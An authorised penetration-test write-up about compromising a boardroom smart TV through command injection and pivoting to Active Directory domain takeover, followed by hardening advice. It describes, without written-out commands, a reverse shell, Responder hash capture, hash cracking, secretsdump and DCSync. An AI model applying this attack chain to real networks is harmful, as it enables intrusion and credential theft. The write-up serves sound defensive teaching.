Creating Our Own Access with the Boardroom TV

A screen for slides. A foothold for everything.

There is a peculiar irony in corporate security. Organisations will spend tens of thousands of pounds on next-generation firewalls, endpoint detection and response platforms, and security operations centres staffed around the clock — yet leave a sixty-five-inch display panel in their most sensitive meeting room connected directly to the production network, running an embedded operating system that has not seen a firmware update since the day it was unboxed.

This is the story of one such television. It sat in the executive boardroom of a mid-sized financial services firm, flanked by whiteboards covered in strategic plans and a conference phone that had heard every material discussion the board had conducted for the past three years. The television was there for presentations. It was connected to the network so staff could cast their slides wirelessly. Nobody considered it a computer. Nobody considered it a risk.

We did.

The Engagement Brief

The client had engaged us to perform an assumed-internal penetration test. The scope was broad: we were given a network drop in a general-purpose meeting room on the ground floor and tasked with determining how far an attacker with physical access to the building could progress through the environment. There were no restrictions on lateral movement, privilege escalation, or data access beyond the usual responsible-testing caveats — no denial of service, no destruction of data, and immediate reporting of any critical findings that posed an imminent risk to the business.

The rules of engagement gave us a single Ethernet port and nothing else. No credentials. No documentation. No insider knowledge. We walked in with a laptop, a small kit bag, and the professional curiosity that drives every engagement we undertake.

The first few hours of any internal assessment follow a predictable rhythm. You connect. You listen. You enumerate. You build a picture of the network around you — quietly, methodically, and with the patience that separates a professional penetration tester from a script kiddie with a downloaded toolkit.

Initial Reconnaissance — Listening Before Speaking

Before sending a single packet, we configured our testing laptop in passive mode. Using tcpdump and Wireshark, we captured broadcast and multicast traffic on the local VLAN for approximately forty-five minutes. This is not glamorous work. It is, however, extraordinarily valuable.

The passive capture revealed several things immediately. The network was using DHCP, and we obtained an address in a 10.10.4.0/24 range without any form of 802.1X or Network Access Control challenge. That alone was a finding — any device plugged into a live port in any meeting room would receive a valid network configuration and connectivity.

We observed mDNS (Multicast DNS) and SSDP (Simple Service Discovery Protocol) announcements. These protocols are the chatty neighbours of the corporate network. They announce the presence of devices, their capabilities, and frequently their make and model. Among the expected noise of printers and VoIP handsets, one announcement stood out: a device identifying itself as a commercial-grade smart display, broadcasting its availability for wireless screen mirroring via both Miracast and an embedded proprietary casting application.

The source IP was 10.10.4.118. The device was on the same VLAN as our testing drop. No segmentation. No isolation. Just a smart television, sitting on the same network as workstations, printers, and — as we would later discover — domain controllers.

Identifying the Target

We performed a targeted Nmap scan against 10.10.4.118, initially with a SYN scan across the full TCP port range, followed by a UDP scan against the top one thousand ports. The results were illuminating.

That SSH service warranted a raised eyebrow. SSH on a boardroom television. The service banner identified it as Dropbear SSH, a lightweight implementation commonly found in embedded Linux systems. The banner also disclosed the firmware version string of the underlying operating system.

We turned our attention to the web interface on port 80. Accessing it in a browser presented a device management panel — no authentication required. The interface disclosed the device manufacturer, model number, current firmware version, network configuration including MAC address, IP address, subnet mask, gateway, and DNS servers, the wireless configuration including the SSID of a hidden wireless network the TV was also connected to, and a diagnostics page that included a ping utility.

The Diagnostics Page — A Shell by Any Other Name

The diagnostics page offered a simple web form: enter an IP address, click Ping, and the device would execute a ping command and return the output. To the developer who built this interface, it was a troubleshooting tool. To us, it was a command injection vector.

The ping utility was executing with root privileges, and user input was being passed directly to a shell command without any sanitisation, filtering, or parameterisation. This is command injection in its most textbook form — CWE-78, OS Command Injection — and it gave us arbitrary command execution as root on the embedded Linux operating system running inside the boardroom television.

We confirmed the extent of our access with a series of follow-up commands.

We now had root-level command execution on a device sitting in the executive boardroom, connected to the corporate network, with no monitoring, no logging, and no security controls of any kind.

Establishing a Persistent Foothold

Command injection through a web form is useful for enumeration, but it is not a practical platform for sustained operations. The form had character limits, the output was rendered in HTML, and there was no interactivity. We needed a proper shell.

Because the device had BusyBox with netcat compiled in, we used it to establish a reverse shell.

We had an interactive root shell on the boardroom television. The first thing we did was stabilise the shell. BusyBox environments are spartan, so we worked with what was available — redirecting output, setting the terminal type, and ensuring our session would survive minor network interruptions.

Next, we examined the device's network configuration in detail. The wired interface (eth0) had the IP 10.10.4.118 on the corporate network. The wireless interface (wlan0) had an IP of 192.168.50.1 — the device was acting as a wireless access point for its casting functionality, running a DHCP server on this interface to assign addresses to connecting devices. This secondary wireless network had no WPA passphrase. It was an open network, hidden from SSID broadcasts but discoverable by any device performing an active wireless scan.

Pivoting into the Corporate Network

With root access to a Linux device on the corporate VLAN, we now treated the television as our operational platform. We uploaded a statically compiled version of Nmap — cross-compiled for ARM — to the device's /tmp directory using a netcat file transfer, as the device had no curl or wget available.

From the television, we performed a careful scan of the 10.10.4.0/24 subnet. We kept the scan rate low and used SYN scanning to minimise noise. The results revealed a fully populated corporate network segment: workstations, printers, a network-attached storage device, and critically, two servers at 10.10.4.10 and 10.10.4.11 running services consistent with Active Directory domain controllers.

The domain controllers were on the same VLAN as the boardroom television. There was no segmentation between IoT devices, workstations, and critical infrastructure. Every device on this subnet could talk to every other device without restriction.

We used the television's DNS configuration to confirm the domain name and performed LDAP queries directly from the television against the domain controller's rootDSE to enumerate domain functionality levels, the domain name, and the forest structure. The domain was running at Windows Server 2016 functionality level. LDAP signing was not enforced. SMB signing was enabled but not required on workstations.

Credential Harvesting — The Network Speaks

Our next objective was to obtain valid domain credentials. From our position on the television, we deployed Responder, the LLMNR/NBT-NS/mDNS poisoning tool, to capture authentication hashes from the network. We cross-compiled a lightweight implementation suitable for the ARM architecture and deployed it to the television.

Within twenty minutes of operation during the working day, we captured NTLMv2 hashes from seven unique user accounts. These were workstations attempting to resolve names that did not exist in DNS — a common occurrence in Windows environments where mapped drives reference servers by short name, browsers attempt to resolve single-label search terms, and WPAD (Web Proxy Auto-Discovery) queries go unanswered.

We transferred the captured hashes to our testing laptop and ran them through Hashcat with a curated wordlist combined with rule-based mutations.

The IT support account was our key. Membership in the IT support group granted it local administrator rights on workstations across the organisation — a common but dangerous practice that trades security for operational convenience.

Lateral Movement and Privilege Escalation

With valid domain credentials and local administrator access to workstations, we moved laterally using CrackMapExec from our testing laptop, authenticating to SMB on workstations across the subnet. We identified machines where additional privileged users had active or cached sessions.

On one workstation, we found a cached credential for a domain administrator. The machine belonged to a senior member of the infrastructure team who routinely logged in with their domain admin account to perform day-to-day work — a violation of the principle of least privilege so common across the industry that we encounter it on the majority of engagements.

Using Impacket's secretsdump module, we extracted the cached credentials from the workstation's SAM and SECURITY registry hives remotely. We recovered the NTLM hash for the domain administrator account.

From the domain controller, we executed a DCSync attack using Impacket's secretsdump to replicate all password hashes from the Active Directory database, including the krbtgt account hash. Possession of the krbtgt hash grants the ability to forge Kerberos Golden Tickets — effectively granting unlimited, persistent, and undetectable access to every resource in the domain for as long as the hash remains unchanged.

The entire attack chain — from a television to domain domination — had taken approximately four hours.

From PowerPoint to Domain Admin — Step by Step

Each step in this chain exploited a different weakness. No single vulnerability was exotic or novel. The command injection was textbook. The flat network was a design choice. The poisoned name resolution exploited default Windows behaviour. The cracked passwords reflected inadequate complexity requirements. The cached domain administrator credentials reflected a failure of operational discipline. The successful DCSync reflected the absence of monitoring for suspicious replication activity.

It was the combination of these weaknesses — each individually manageable — that produced a catastrophic outcome.

The IoT Problem — Hiding in Plain Sight

This engagement illustrates a problem that we encounter with increasing frequency. The proliferation of Internet of Things devices within corporate environments has created an attack surface that most organisations do not acknowledge, let alone manage.

Smart televisions, digital signage, wireless presentation systems, video conferencing units, environmental sensors, building management controllers, IP cameras, smart lighting systems — all of these are computers. They run operating systems. They have network stacks. They accept input and produce output. They have vulnerabilities.

Yet they are almost never included in vulnerability management programmes. They do not receive regular firmware updates. They are not monitored by endpoint detection and response tools. They are not enrolled in patch management systems. They do not appear in asset inventories. They are purchased by facilities teams, installed by AV contractors, and forgotten by everyone.

The television in this engagement was running firmware that was four major versions behind the manufacturer's current release. The command injection vulnerability we exploited had been disclosed and patched by the manufacturer two years prior. The organisation's IT team was not even aware the device was on the network — it had been purchased and installed by the office manager as part of a boardroom refurbishment, connected to the nearest network port, and never reported to IT.

This is not an unusual story. It is, in our experience, the norm.

Technique Mapping

Recommendations and Hardening

The report we delivered to the client contained a series of recommendations that addressed each layer of the attack chain. These recommendations are broadly applicable to any organisation operating in a similar configuration.

Network segmentation is the single most impactful control. IoT devices — including smart displays, conferencing equipment, and building management systems — should be placed on dedicated, isolated VLANs with strict firewall rules governing what traffic can flow between segments. A boardroom television should never be able to reach a domain controller. This principle is fundamental and non-negotiable.

Network Access Control using 802.1X should be implemented on all switch ports. Unknown or unauthorised devices connecting to the network should be placed into a quarantine VLAN with no access to production resources until they are identified, approved, and appropriately classified.

All IoT devices must be included in the organisation's asset register and vulnerability management programme. Firmware versions should be tracked, and updates should be applied on a regular schedule. Devices that have reached end of life and no longer receive security updates should be replaced.

Privileged accounts must be protected through tiered administration. Domain administrator credentials should never be used on standard workstations. Dedicated Privileged Access Workstations should be used for domain administration, and credential caching should be controlled through Group Policy to prevent privileged hashes from being stored on general-purpose endpoints.

Finally, Active Directory should be monitored for suspicious replication activity. A DCSync attack generates replication traffic from a non-domain-controller source — an event that is trivially detectable with appropriate logging and alerting, yet is missed by organisations that do not monitor for it.

Never underestimate the quiet devices in the room.

We are often asked what makes a good penetration tester. Technical skill is necessary but insufficient. The quality that distinguishes an exceptional tester is the ability to see what others overlook — to walk into a boardroom and see not a television but a Linux computer with a network connection and an attack surface.

Every device on your network is a potential point of compromise. Every unmanaged asset is a blind spot. Every flat network segment is an invitation.

The executive boardroom is where the most sensitive conversations happen, where strategy is discussed, where mergers are planned, and where financial results are reviewed before public disclosure. The television in that room was listening to the same network as the domain controllers. It simply needed someone to ask it the right questions.

We asked. It answered. And everything that followed was inevitable.

Until next time — stay sharp, stay curious, and never underestimate the quiet devices in the room.